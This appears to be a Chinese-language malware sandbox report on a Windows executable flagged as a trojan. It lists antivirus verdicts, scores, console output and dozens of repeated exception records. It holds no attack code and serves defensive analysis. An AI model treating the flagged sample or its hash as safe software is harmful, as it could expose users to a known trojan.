3.0
中危
60 个模型检测该样本为恶意！
重新分析
更多

0b8d8f0a99e42689576b27448265330446d299bd2f9b7e9a377547529a7cd388

0b8d8f0a99e42689576b27448265330446d299bd2f9b7e9a377547529a7cd388.exe

分析耗时

136s

最近分析

374天前

文件大小

1.4MB
静态报毒 动态报毒 CVE FAMILY METATYPE PLATFORM TYPE UNKNOWN WIN32 TROJAN FSYSNA
鹰眼引擎
DACN 0.14
FACILE 1.00
IMCLNet 0.69
MFGraph 0.00
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
Alibaba None 20190527 0.3.0.5
Avast Win32:Malware-gen 20200223 18.4.3895.0
Baidu None 20190318 1.0.0.2
CrowdStrike None 20190702 1.0
Kingsoft None 20200223 2013.8.14.323
McAfee Trojan-FQXU!22B07806CE9A 20200223 6.0.6.653
Tencent Malware.Win32.Gencirc.10b3cff1 20200223 1.0.0.1
静态指标
观察到命令行控制台输出 (3 个事件)
Time & API Arguments Status Return Repeated
1727545332.03125
WriteConsoleW
console_handle: 0x00000007
buffer: Microsoft Windows [版本 6.1.7601]
success 1 0
1727545332.03125
WriteConsoleW
console_handle: 0x00000007
buffer: 版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
success 1 0
1727545332.04725
WriteConsoleW
console_handle: 0x00000007
buffer: C:\Users\Administrator\AppData\Local\Temp>
success 1 0
一个或多个进程崩溃 (50 out of 826 个事件)
Time & API Arguments Status Return Repeated
1727545336.202875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1634080
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1634080
registers.ebp: 1634160
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545336.202875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635428
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635428
registers.ebp: 1635508
registers.esi: 1635616
registers.edi: 1635616
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545336.202875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635656
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635656
registers.ebp: 1635736
registers.esi: 1635844
registers.edi: 1635844
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545336.202875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635884
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635884
registers.ebp: 1635964
registers.esi: 1636072
registers.edi: 1636072
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545336.202875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636112
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636112
registers.ebp: 1636192
registers.esi: 1636300
registers.edi: 1636300
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545339.952875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1634080
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1634080
registers.ebp: 1634160
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545339.952875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635428
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635428
registers.ebp: 1635508
registers.esi: 1635616
registers.edi: 1635616
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545339.952875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635656
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635656
registers.ebp: 1635736
registers.esi: 1635844
registers.edi: 1635844
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545339.952875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635884
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635884
registers.ebp: 1635964
registers.esi: 1636072
registers.edi: 1636072
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545339.952875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636112
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636112
registers.ebp: 1636192
registers.esi: 1636300
registers.edi: 1636300
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545339.952875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545339.983875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545339.983875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545339.999875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.015875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.030875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.062875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.077875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.093875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.093875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.108875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.140875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.155875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635600
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635600
registers.ebp: 1635680
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.155875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636124
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636124
registers.ebp: 1636204
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.171875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635872
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635872
registers.ebp: 1635952
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.171875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.171875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.187875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635600
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635600
registers.ebp: 1635680
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.187875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636124
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636124
registers.ebp: 1636204
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.202875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635872
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635872
registers.ebp: 1635952
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.202875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.202875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.218875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635600
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635600
registers.ebp: 1635680
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.218875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636124
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636124
registers.ebp: 1636204
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.218875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635872
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635872
registers.ebp: 1635952
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.218875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.218875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.233875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635600
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635600
registers.ebp: 1635680
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.233875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636124
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636124
registers.ebp: 1636204
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.233875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635872
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635872
registers.ebp: 1635952
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.233875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

